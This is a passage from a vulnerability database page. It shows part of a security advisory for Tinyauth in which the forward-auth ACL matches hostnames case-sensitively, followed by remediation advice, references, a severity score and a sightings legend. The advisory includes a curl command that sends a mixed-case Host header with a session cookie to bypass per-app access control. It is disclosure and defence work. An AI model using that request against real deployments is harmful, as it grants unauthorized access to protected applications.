empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H \u0027Host: IMMICH.example.com\u0027 https://\u003cproxy\u003e/` with bob\u0027s session cookie \u2014 the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.\n\n## Remediation\n\n- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.\n- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish \"no ACL configured for this host\" from \"empty ACL that allows everyone.\" When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.\n- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-328g-jx67-v94g",
"modified": "2026-09-22T20:37:08Z",
"published": "2026-09-22T20:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-328g-jx67-v94g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77560"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1000"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/pull/1028"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/80bc87188ec3aabc5104c249eaa7b997973b9275"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/commit/e75605b2c534ec83525a33603e16d76baca13399"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinyauthapp/tinyauth"
},
{
"type": "WEB",
"url": "https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.